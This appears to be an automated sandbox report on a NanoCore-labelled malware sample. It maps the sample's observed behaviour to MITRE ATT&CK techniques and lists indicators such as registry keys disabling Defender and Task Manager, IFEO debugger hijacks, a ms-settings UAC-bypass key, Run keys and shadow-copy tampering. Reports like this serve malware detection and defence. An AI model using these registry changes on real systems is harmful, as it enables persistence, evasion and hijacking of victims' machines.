nanocore | 1da8bc8a9ea191c92d74d15c103c0432327c496d53f0acb13811a76dc2be1c9a

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	hotel-cz.com_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1788	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	hotel-cz.com_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	hotel-cz.com_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3120	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	hotel-cz.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	hotel-cz.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	hotel-cz.com_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4784	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	hotel-cz.com_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	hotel-cz.com_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	hotel-cz.com_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4784	wscript.exe
1824	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	hotel-cz.com_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4092	sc.exe
128	sc.exe
3700	sc.exe
5624	sc.exe
4456	sc.exe
436	sc.exe
5988	sc.exe
1204	sc.exe
5084	sc.exe
5452	sc.exe
1404	sc.exe
3728	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2276	cmd.exe
5184	cmd.exe
396	cmd.exe
3464	cmd.exe
1664	cmd.exe
4116	cmd.exe
5988	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
52	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1984	NETSTAT.EXE
3700	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4592	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1300	vssadmin.exe
3700	vssadmin.exe
596	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	hotel-cz.com_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302007949292705"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe"	hotel-cz.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	hotel-cz.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	hotel-cz.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	hotel-cz.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\hotel-cz.com_chrome.exe\" \"%1\""	hotel-cz.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	hotel-cz.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	hotel-cz.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	hotel-cz.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	hotel-cz.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	hotel-cz.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	hotel-cz.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	hotel-cz.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	hotel-cz.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	hotel-cz.com_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4264	schtasks.exe
3808	schtasks.exe
3220	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1788	powershell.exe
1788	powershell.exe
1988	chrome.exe
1988	chrome.exe
1788	powershell.exe
5128	WMIC.exe
5128	WMIC.exe
5128	WMIC.exe
5128	WMIC.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
1304	WMIC.exe
1304	WMIC.exe
1304	WMIC.exe
1304	WMIC.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
4224	WMIC.exe
4224	WMIC.exe
4224	WMIC.exe
4224	WMIC.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe
5000	hotel-cz.com_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5000	hotel-cz.com_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeShutdownPrivilege	1988	chrome.exe
Token: SeCreatePagefilePrivilege	1988	chrome.exe
Token: SeShutdownPrivilege	1988	chrome.exe
Token: SeCreatePagefilePrivilege	1988	chrome.exe
Token: SeShutdownPrivilege	1988	chrome.exe
Token: SeCreatePagefilePrivilege	1988	chrome.exe
Token: SeShutdownPrivilege	1988	chrome.exe
Token: SeCreatePagefilePrivilege	1988	chrome.exe
Token: SeBackupPrivilege	5600	vssvc.exe
Token: SeRestorePrivilege	5600	vssvc.exe
Token: SeAuditPrivilege	5600	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5128	WMIC.exe
Token: SeSecurityPrivilege	5128	WMIC.exe
Token: SeTakeOwnershipPrivilege	5128	WMIC.exe
Token: SeLoadDriverPrivilege	5128	WMIC.exe
Token: SeSystemProfilePrivilege	5128	WMIC.exe
Token: SeSystemtimePrivilege	5128	WMIC.exe
Token: SeProfSingleProcessPrivilege	5128	WMIC.exe
Token: SeIncBasePriorityPrivilege	5128	WMIC.exe
Token: SeCreatePagefilePrivilege	5128	WMIC.exe
Token: SeBackupPrivilege	5128	WMIC.exe
Token: SeRestorePrivilege	5128	WMIC.exe
Token: SeShutdownPrivilege	5128	WMIC.exe
Token: SeDebugPrivilege	5128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5128	WMIC.exe
Token: SeRemoteShutdownPrivilege	5128	WMIC.exe
Token: SeUndockPrivilege	5128	WMIC.exe
Token: SeManageVolumePrivilege	5128	WMIC.exe
Token: 33	5128	WMIC.exe
Token: 34	5128	WMIC.exe
Token: 35	5128	WMIC.exe
Token: 36	5128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5128	WMIC.exe
Token: SeSecurityPrivilege	5128	WMIC.exe
Token: SeTakeOwnershipPrivilege	5128	WMIC.exe
Token: SeLoadDriverPrivilege	5128	WMIC.exe
Token: SeSystemProfilePrivilege	5128	WMIC.exe
Token: SeSystemtimePrivilege	5128	WMIC.exe
Token: SeProfSingleProcessPrivilege	5128	WMIC.exe
Token: SeIncBasePriorityPrivilege	5128	WMIC.exe
Token: SeCreatePagefilePrivilege	5128	WMIC.exe
Token: SeBackupPrivilege	5128	WMIC.exe
Token: SeRestorePrivilege	5128	WMIC.exe
Token: SeShutdownPrivilege	5128	WMIC.exe
Token: SeDebugPrivilege	5128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5128	WMIC.exe
Token: SeRemoteShutdownPrivilege	5128	WMIC.exe
Token: SeUndockPrivilege	5128	WMIC.exe
Token: SeManageVolumePrivilege	5128	WMIC.exe
Token: 33	5128	WMIC.exe
Token: 34	5128	WMIC.exe
Token: 35	5128	WMIC.exe
Token: 36	5128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1788	powershell.exe
Token: SeSecurityPrivilege	1788	powershell.exe
Token: SeTakeOwnershipPrivilege	1788	powershell.exe
Token: SeLoadDriverPrivilege	1788	powershell.exe
Token: SeSystemProfilePrivilege	1788	powershell.exe
Token: SeSystemtimePrivilege	1788	powershell.exe
Token: SeProfSingleProcessPrivilege	1788	powershell.exe
Token: SeIncBasePriorityPrivilege	1788	powershell.exe
Token: SeCreatePagefilePrivilege	1788	powershell.exe
Token: SeBackupPrivilege	1788	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe
1988	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5000	hotel-cz.com_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 1988	5000	hotel-cz.com_chrome.exe	88
PID 1988 wrote to memory of 5968	1988	chrome.exe	89
PID 5000 wrote to memory of 1788	5000	hotel-cz.com_chrome.exe	91
PID 5000 wrote to memory of 5084	5000	hotel-cz.com_chrome.exe	93
PID 5000 wrote to memory of 5452	5000	hotel-cz.com_chrome.exe	95
PID 1988 wrote to memory of 5360	1988	chrome.exe	97
PID 1988 wrote to memory of 52	1988	chrome.exe	96
PID 1988 wrote to memory of 5360	1988	chrome.exe	97
PID 1988 wrote to memory of 616	1988	chrome.exe	100
PID 1988 wrote to memory of 616	1988	chrome.exe	100
PID 1988 wrote to memory of 868	1988	chrome.exe	101
PID 1988 wrote to memory of 3676	1988	chrome.exe	192
PID 1988 wrote to memory of 868	1988	chrome.exe	101
PID 1988 wrote to memory of 3676	1988	chrome.exe	192
PID 5000 wrote to memory of 1404	5000	hotel-cz.com_chrome.exe	103
PID 5000 wrote to memory of 3700	5000	hotel-cz.com_chrome.exe	178
PID 1988 wrote to memory of 4432	1988	chrome.exe	106
PID 1988 wrote to memory of 4432	1988	chrome.exe	106
PID 1988 wrote to memory of 5076	1988	chrome.exe	107
PID 1988 wrote to memory of 5076	1988	chrome.exe	107
PID 5000 wrote to memory of 5624	5000	hotel-cz.com_chrome.exe	109
PID 5000 wrote to memory of 3728	5000	hotel-cz.com_chrome.exe	111
